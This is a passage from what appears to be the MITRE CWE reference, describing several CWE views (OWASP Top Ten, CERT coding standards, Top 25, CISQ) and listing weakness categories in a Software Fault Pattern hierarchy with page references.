| HasMember | <input checked="" type="checkbox"/> | 722 | OWASP Top Ten 2004 Category A1 - Unvalidated Input | 2051 |

| HasMember |  | 730 | OWASP Top Ten 2004 Category A9 - Denial of Service | 2055 |
| HasMember |  | 731 | OWASP Top Ten 2004 Category A10 - Insecure Configuration Management | 2056 |

Notes

Relationship

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

Relationship

As of 2008, some parts of CWE were not fully clarified out in terms of weaknesses. When these areas were mentioned in the OWASP Top Ten, category entries were mapped, although general mapping practice would usually favor mapping only to weaknesses.

View-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008)

View ID : 734

Status: Obsolete

Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT C Secure Coding Standard" published in 2008. This view is considered obsolete, as a newer version of the coding standard is available. This view statically represents the coding rules as they were in 2008.

Audience

Software Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Membership

View-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID : 750

Status: Obsolete

Type : Graph

Objective

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

View-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)

View ID : 868

Status: Obsolete

Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the SEI CERT C++ Coding Standard, as published in 2016. This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2016.

Audience

Software Developers

By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

View-884: CWE Cross-section

| | |
|------------------------|---------------------------|
| View ID : 884 | Status: Incomplete |
| Type : Explicit | |

Objective

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

View-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

View ID : 900

Status: Obsolete

Type : Graph

Objective

CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Membership

View-928: Weaknesses in OWASP Top Ten (2013)

View ID : 928

Status: Obsolete

Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2013. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

| Nature | Type | ID | Name | Page |

| HasMember |  | 938 | OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards | 2109 |

Notes

Relationship

The relationships in this view have been pulled directly from the 2013 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.

View-999: Weaknesses without Software Fault Patterns

View ID : 999

Status: Incomplete

Type : Implicit

Objective

CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in coverage by the current software fault pattern model.

Audience

Applied Researchers

Academic Researchers

Product Vendors

View-1000: Research Concepts

View ID : 1000

Status: Draft

Type : Graph

Objective

This view is intended to facilitate research into weaknesses, including their inter-dependencies, and can be leveraged to systematically identify theoretical gaps within CWE. It is mainly organized according to abstractions of behaviors instead of how they can be detected, where they appear in

code, or when they are introduced in the development life cycle. By design, this view is expected to include every weakness within CWE.

Audience

Academic Researchers

Academic researchers can use the high-level classes that lack a significant number of children to identify potential areas for future research.

Vulnerability Analysts

Those who perform vulnerability discovery/analysis use this view to identify related weaknesses that might be leveraged by following relationships between higher-level classes and bases.

Assessment Tool Vendors

Assessment vendors often use this view to help identify additional weaknesses that a tool may be able to detect as the relationships are more aligned with a tool's technical capabilities.

Membership

| Nature | Type | ID | Name | Page |

| HasMember | [P] | 707 | Improper Neutralization | 1402 |
| HasMember | [P] | 710 | Improper Adherence to Coding Standards | 1405 |

Notes

Other

This view uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars. Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies. This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and zero categories. It is expected to include at least one parent/child relationship for every weakness within CWE.

View-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

View ID : 1003

Status: Incomplete

Type : Graph

Objective

CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as the National Vulnerability Database (NVD). By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier for humans to use. This view uses a shallow hierarchy of two levels in order to simplify the complex, category-oriented navigation of the entire CWE corpus.

Membership

Notes

Maintenance

This view may change in any upcoming CWE version based on the experience of NVD analysts, public feedback, and the CWE Team - especially with respect to the CWE Top 25 analysis.

Maintenance

This view has been modified significantly since its last major revision in 2016 (CWE-635 was used before 2016).

View-1008: Architectural Concepts

View ID : 1008

Status: Incomplete

Type : Graph

Objective

This view organizes weaknesses according to common architectural security tactics. It is intended to assist architects in identifying potential mistakes that can be made when designing software.

Audience

Software Developers

Architects that are part of a software development team may find this view useful as the weaknesses are organized by known security tactics, aiding the architect in embedding security throughout the design process instead of discovering weaknesses after the software has been built.

Educators

Educators may use this view as reference material when discussing security by design or architectural weaknesses, and the types of mistakes that can be made.

Notes

Other

The top level categories in this view represent the individual tactics that are part of a secure-by-design approach to software development. The weaknesses that are members of each category contain information about how each is introduced relative to the software's architecture. Three different modes of introduction are used: Omission - caused by missing a security tactic when it is necessary. Commission - refers to incorrect choice of tactics which could result in undesirable consequences. Realization - appropriate security tactics are adopted but are incorrectly implemented.

View-1026: Weaknesses in OWASP Top Ten (2017)

View ID : 1026

Status: Incomplete

Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2017.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

View-1040: Quality Weaknesses with Indirect Security Impacts

View ID : 1040

Status: Incomplete

Type : Implicit

Objective

CWE identifiers in this view (slice) are quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate.

Audience

Assessment Tool Vendors

This view makes it easier for assessment vendors to identify and improve coverage for quality-related weaknesses.

Software Developers

This view makes it easier for developers to identify and learn about issues that might make their code more difficult to maintain, perform efficiently or reliably, or secure.

Product Vendors

This view makes it easier for software vendors to identify important issues that may make their software more difficult to maintain, perform efficiently or reliably, or secure.

View-1081: Entries with Maintenance Notes

View ID : 1081

Status: Draft

Type : Implicit

Objective

CWE entries in this view have maintenance notes. Maintenance notes are an indicator that an entry might change significantly in future versions. This view was created due to feedback from the CWE Board and participants in the CWE Compatibility Summit in March 2021.

Audience**Assessment Tool Vendors**

Assessment vendors may use this view to anticipate future changes to CWE that will help them to better prepare customers for important changes in CWE.

View-1128: CISQ Quality Measures (2016)

View ID : 1128

Status: Incomplete

Type : Graph

Objective

2244

This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2016. These measures are derived from Object Management Group (OMG) standards.

Audience

Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

View-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java

View ID : 1133

Status: Stable

Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Oracle Coding Standard for Java.

Audience

Software Developers

By following the SEI CERT Oracle Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the

standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the SEI CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

View-1194: Hardware Design

View ID : 1194

Status: Draft

Type : Graph

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in hardware design. Accordingly, this view can align closely with the perspectives of designers, manufacturers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

Audience

Hardware Designers

Hardware Designers use this view to better understand potential mistakes that can be made in specific areas of their IP design. The use of concepts with which hardware designers are familiar makes it easier to navigate.

Educators

Educators use this view to teach future professionals about the types of mistakes that are commonly made in hardware design.

Notes

Other

The top level categories in this view represent commonly understood areas/terms within hardware design, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

View-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors**View ID :** 1200**Status:** Stable**Type :** Graph**Objective**

CWE entries in this view are listed in the 2019 CWE Top 25 Most Dangerous Software Errors.

Audience**Software Developers**

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

View-1305: CISQ Quality Measures (2020)

View ID : 1305

Status: Incomplete

Type : Graph

Objective

This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2020. These measures are derived from Object Management Group (OMG) standards.

Audience

Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

Membership

| Nature | Type | ID | Name | Page |

View-1337: Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses

View ID : 1337

Status: Stable

Type : Graph

Objective

CWE entries in this view are listed in the 2021 CWE Top 25 Most Dangerous Software Weaknesses.

Audience

Software Developers

By following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.

Educators

Educators can use this view to focus curriculum and teachings on the most dangerous weaknesses.

View-1340: CISQ Data Protection Measures

View ID : 1340

Status: Incomplete

Type : Graph

Objective

This view outlines the SMM representation of the Automated Source Code Data Protection Measurement specifications, as identified by the Consortium for Information & Software Quality (CISQ) Working Group.

Audience

Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

View-1343: Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List

View ID : 1343

Status: Stable

Type : Explicit

Objective

CWE entries in this view are listed in the 2021 CWE Most Important Hardware Weaknesses List, as determined by the Hardware CWE Special Interest Group (HW CWE SIG).

Audience

Hardware Designers

By following this list, hardware designers and implementers are able to significantly reduce the number of weaknesses that occur in their products.

Product Customers

Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.

Educators

Educators can use this view to focus curriculum on the most important hardware weaknesses.

Membership

| Nature | Type | ID | Name | Page |

View-1344: Weaknesses in OWASP Top Ten (2021)

View ID : 1344

Status: Incomplete

Type : Graph

Objective

CWE entries in this view (graph) are associated with the OWASP Top Ten, as released in 2021.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2021 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2021 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

| Nature | Type | ID | Name | Page |

Notes

Maintenance

As of CWE 4.6, the relationships in this view were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories and high-level weaknesses. One mapping to a deprecated entry was removed. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

 - V CWE-148: Improper Neutralization of Input Leaders (p.365)
 - V CWE-149: Improper Neutralization of Quoting Syntax (p.367)
 - V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p.368)
 - V CWE-151: Improper Neutralization of Comment Delimiters (p.371)
 - V CWE-152: Improper Neutralization of Macro Symbols (p.372)
 - V CWE-153: Improper Neutralization of Substitution Characters (p.374)
 - V CWE-154: Improper Neutralization of Variable Name Delimiters (p.376)
 - V CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p.378)
 - V CWE-156: Improper Neutralization of Whitespace (p.379)
 - V CWE-157: Failure to Sanitize Paired Delimiters (p.381)
 - V CWE-158: Improper Neutralization of Null Byte or NUL Character (p.383)
 - C CWE-159: Improper Handling of Invalid Use of Special Elements (p.386)
 - V CWE-160: Improper Neutralization of Leading Special Elements (p.387)
 - V CWE-161: Improper Neutralization of Multiple Leading Special Elements (p.389)
 - V CWE-162: Improper Neutralization of Trailing Special Elements (p.391)
 - V CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p.392)
 - V CWE-164: Improper Neutralization of Internal Special Elements (p.394)
 - V CWE-165: Improper Neutralization of Multiple Internal Special Elements (p.395)
 - B CWE-183: Permissive List of Allowed Inputs (p.430)
 - B CWE-184: Incomplete List of Disallowed Inputs (p.432)
 - C CWE-185: Incorrect Regular Expression (p.435)
 - B CWE-186: Overly Restrictive Regular Expression (p.437)
 - B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p.980)
 - V CWE-553: Command Shell in Externally Accessible Directory (p.1159)
 - V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p.1160)
 - V CWE-564: SQL Injection: Hibernate (p.1171)
 - B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1230)
 - B CWE-611: Improper Restriction of XML External Entity Reference (p.1249)

- B CWE-619: Dangling Database Cursor ('Cursor Injection') (p.1263)
- B CWE-621: Variable Extraction Error (p.1266)
- B CWE-624: Executable Regular Expression Error (p.1271)
- B CWE-625: Permissive Regular Expression (p.1272)
- V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p.1275)
- B CWE-627: Dynamic Variable Evaluation (p.1276)
- B CWE-641: Improper Restriction of Names for Files and Other Resources (p.1291)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1298)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p.1300)
- V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p.1304)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1313)
- V CWE-687: Function Call With Incorrectly Specified Argument Value (p.1375)
- P CWE-707: Improper Neutralization (p.1402)
- C CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.130)
- C CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p.134)
- B CWE-76: Improper Neutralization of Equivalent Special Elements (p.135)
- C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.136)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.142)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.154)
- V CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p.167)
- V CWE-81: Improper Neutralization of Script in an Error Message Web Page (p.169)
- V CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p.171)
- V CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p.173)
- V CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p.175)
- V CWE-85: Doubled Character XSS Manipulations (p.177)
- V CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p.179)
- V CWE-87: Improper Neutralization of Alternate XSS Syntax (p.181)
- B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.183)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.189)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.200)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p.202)
- B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.205)
- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.212)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.219)
- C CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.227)
- C CWE-991: SFP Secondary Cluster: Tainted Input to Environment (p.2132)
- C CWE-114: Process Control (p.259)
- B CWE-427: Uncontrolled Search Path Element (p.949)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1026)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p.1030)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1032)
- V CWE-473: PHP External Variable Modification (p.1035)
- B CWE-494: Download of Code Without Integrity Check (p.1086)
- V CWE-622: Improper Validation of Function Hook Arguments (p.1268)
- C CWE-673: External Influence of Sphere Definition (p.1351)

- B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.207)
- C CWE-992: SFP Secondary Cluster: Faulty Input Transformation (p.2132)
 - G CWE-116: Improper Encoding or Escaping of Output (p.263)
 - B CWE-166: Improper Handling of Missing Special Element (p.397)
 - B CWE-167: Improper Handling of Additional Special Element (p.398)
 - B CWE-168: Improper Handling of Inconsistent Special Elements (p.400)
 - G CWE-172: Encoding Error (p.406)
 - V CWE-173: Improper Handling of Alternate Encoding (p.408)
 - V CWE-174: Double Decoding of the Same Data (p.410)
 - V CWE-175: Improper Handling of Mixed Encoding (p.412)
 - V CWE-176: Improper Handling of Unicode Encoding (p.413)
 - V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p.415)
 - B CWE-178: Improper Handling of Case Sensitivity (p.417)
 - B CWE-179: Incorrect Behavior Order: Early Validation (p.421)
 - V CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.424)
 - V CWE-181: Incorrect Behavior Order: Validate Before Filter (p.426)
 - B CWE-182: Collapse of Data into Unsafe Value (p.428)
- C CWE-993: SFP Secondary Cluster: Incorrect Input Handling (p.2133)
 - B CWE-198: Use of Incorrect Byte Ordering (p.473)
 - G CWE-228: Improper Handling of Syntactically Invalid Structure (p.530)
 - B CWE-229: Improper Handling of Values (p.531)
 - V CWE-230: Improper Handling of Missing Values (p.532)
 - V CWE-231: Improper Handling of Extra Values (p.534)
 - V CWE-232: Improper Handling of Undefined Values (p.534)
 - B CWE-233: Improper Handling of Parameters (p.536)
 - V CWE-234: Failure to Handle Missing Parameter (p.537)
 - V CWE-235: Improper Handling of Extra Parameters (p.539)
 - V CWE-236: Improper Handling of Undefined Parameters (p.540)
 - B CWE-237: Improper Handling of Structural Elements (p.541)
 - V CWE-238: Improper Handling of Incomplete Structural Elements (p.542)
 - V CWE-239: Failure to Handle Incomplete Element (p.543)
 - B CWE-240: Improper Handling of Inconsistent Structural Elements (p.544)
 - B CWE-241: Improper Handling of Unexpected Data Type (p.545)
 - B CWE-351: Insufficient Type Distinction (p.796)
 - B CWE-354: Improper Validation of Integrity Check Value (p.805)
- C CWE-994: SFP Secondary Cluster: Tainted Input to Variable (p.2134)
 - B CWE-15: External Control of System or Configuration Setting (p.17)
 - G CWE-20: Improper Input Validation (p.19)
 - B CWE-454: External Initialization of Trusted Variables or Data Stores (p.995)
 - V CWE-496: Public Data Assigned to Private Array-Typed Field (p.1092)
 - B CWE-502: Deserialization of Untrusted Data (p.1103)
 - V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p.1175)
 - B CWE-606: Unchecked Input for Loop Condition (p.1241)
 - V CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p.1258)
- C CWE-897: SFP Primary Cluster: Entry Points (p.2102)
 - C CWE-1002: SFP Secondary Cluster: Unexpected Entry Points (p.2137)
 - B CWE-489: Active Debug Code (p.1073)
 - V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p.1075)
 - V CWE-493: Critical Public Variable Without Final Modifier (p.1083)
 - V CWE-500: Public Static Field Not Marked Final (p.1100)
 - V CWE-531: Inclusion of Sensitive Information in Test Code (p.1135)
 - V CWE-568: finalize() Method Without super.finalize() (p.1179)
 - V CWE-580: clone() Method Without super.clone() (p.1198)
 - V CWE-582: Array Declared Public, Final, and Static (p.1201)

-  CWE-583: finalize() Method Declared Public (p.1202)
-  CWE-608: Struts: Non-private Field in ActionForm Class (p.1244)
-  CWE-766: Critical Data Element Declared Public (p.1456)
-  CWE-898: SFP Primary Cluster: Authentication (p.2102)
 -  CWE-947: SFP Secondary Cluster: Authentication Bypass (p.2111)
 -  CWE-287: Improper Authentication (p.643)
 -  CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.649)
 -  CWE-289: Authentication Bypass by Alternate Name (p.651)
 -  CWE-303: Incorrect Implementation of Authentication Algorithm (p.684)
 -  CWE-304: Missing Critical Step in Authentication (p.685)
 -  CWE-305: Authentication Bypass by Primary Weakness (p.687)
 -  CWE-308: Use of Single-factor Authentication (p.697)
 -  CWE-309: Use of Password System for Primary Authentication (p.699)
 -  CWE-603: Use of Client-Side Authentication (p.1239)
 -  CWE-948: SFP Secondary Cluster: Digital Certificate (p.2111)
 -  CWE-296: Improper Following of a Certificate's Chain of Trust (p.667)
 -  CWE-297: Improper Validation of Certificate with Host Mismatch (p.670)
 -  CWE-298: Improper Validation of Certificate Expiration (p.673)
 -  CWE-299: Improper Check for Certificate Revocation (p.675)
 -  CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p.1216)
 -  CWE-599: Missing Validation of OpenSSL Certificate (p.1226)
 -  CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication (p.2112)
 -  CWE-293: Using Referer Field for Authentication (p.658)
 -  CWE-302: Authentication Bypass by Assumed-Immutable Data (p.682)
 -  CWE-345: Insufficient Verification of Data Authenticity (p.781)
 -  CWE-346: Origin Validation Error (p.783)
 -  CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p.792)
 -  CWE-360: Trust of System Event Data (p.815)
 -  CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p.1156)
 -  CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1173)
 -  CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p.1305)
 -  CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data (p.2112)
 -  CWE-258: Empty Password in Configuration File (p.578)
 -  CWE-259: Use of Hard-coded Password (p.580)
 -  CWE-321: Use of Hard-coded Cryptographic Key (p.724)
 -  CWE-547: Use of Hard-coded, Security-relevant Constants (p.1152)
 -  CWE-951: SFP Secondary Cluster: Insecure Authentication Policy (p.2112)
 -  CWE-262: Not Using Password Aging (p.589)
 -  CWE-263: Password Aging with Long Expiration (p.590)
 -  CWE-521: Weak Password Requirements (p.1120)
 -  CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p.1161)
 -  CWE-613: Insufficient Session Expiration (p.1253)
 -  CWE-645: Overly Restrictive Account Lockout Mechanism (p.1302)
 -  CWE-952: SFP Secondary Cluster: Missing Authentication (p.2113)
 -  CWE-306: Missing Authentication for Critical Function (p.688)
 -  CWE-620: Unverified Password Change (p.1264)
 -  CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication (p.2113)
 -  CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p.938)
 -  CWE-425: Direct Request ('Forced Browsing') (p.941)
 -  CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port (p.2113)
 -  CWE-605: Multiple Binds to the Same Port (p.1240)
 -  CWE-955: SFP Secondary Cluster: Unrestricted Authentication (p.2114)
 -  CWE-307: Improper Restriction of Excessive Authentication Attempts (p.692)
-  CWE-899: SFP Primary Cluster: Access Control (p.2102)

- C CWE-944: SFP Secondary Cluster: Access Management (p.2110)
 - G CWE-282: Improper Ownership Management (p.628)
 - B CWE-283: Unverified Ownership (p.630)
 - P CWE-284: Improper Access Control (p.631)
 - G CWE-286: Incorrect User Management (p.642)
 - B CWE-708: Incorrect Ownership Assignment (p.1403)
- C CWE-945: SFP Secondary Cluster: Insecure Resource Access (p.2110)
 - G CWE-285: Improper Authorization (p.635)
 - G CWE-424: Improper Protection of Alternate Path (p.940)
 - B CWE-639: Authorization Bypass Through User-Controlled Key (p.1286)
 - V CWE-650: Trusting HTTP Permission Methods on the Server Side (p.1310)
- C CWE-946: SFP Secondary Cluster: Insecure Resource Permissions (p.2110)
 - B CWE-276: Incorrect Default Permissions (p.618)
 - V CWE-277: Insecure Inherited Permissions (p.621)
 - V CWE-278: Insecure Preserved Inherited Permissions (p.622)
 - V CWE-279: Incorrect Execution-Assigned Permissions (p.623)
 - B CWE-281: Improper Preservation of Permissions (p.627)
 - V CWE-560: Use of umask() with chmod-style Argument (p.1164)
 - G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1407)
- C CWE-901: SFP Primary Cluster: Privilege (p.2103)
 - B CWE-250: Execution with Unnecessary Privileges (p.557)
 - B CWE-266: Incorrect Privilege Assignment (p.592)
 - B CWE-267: Privilege Defined With Unsafe Actions (p.595)
 - B CWE-268: Privilege Chaining (p.598)
 - G CWE-269: Improper Privilege Management (p.600)
 - B CWE-270: Privilege Context Switching Error (p.605)
 - G CWE-271: Privilege Dropping / Lowering Errors (p.607)
 - B CWE-272: Least Privilege Violation (p.610)
 - B CWE-274: Improper Handling of Insufficient Privileges (p.616)
 - V CWE-520: .NET Misconfiguration: Use of Impersonation (p.1120)
 - B CWE-653: Improper Isolation or Compartmentalization (p.1315)
 - V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p.7)
- C CWE-902: SFP Primary Cluster: Channel (p.2103)
 - C CWE-956: SFP Secondary Cluster: Channel Attack (p.2114)
 - B CWE-290: Authentication Bypass by Spoofing (p.653)
 - B CWE-294: Authentication Bypass by Capture-replay (p.660)
 - G CWE-300: Channel Accessible by Non-Endpoint (p.677)
 - V CWE-301: Reflection Attack in an Authentication Protocol (p.680)
 - B CWE-419: Unprotected Primary Channel (p.934)
 - B CWE-420: Unprotected Alternate Channel (p.935)
 - B CWE-421: Race Condition During Access to Alternate Channel (p.937)
 - G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p.977)
 - C CWE-957: SFP Secondary Cluster: Protocol Error (p.2114)
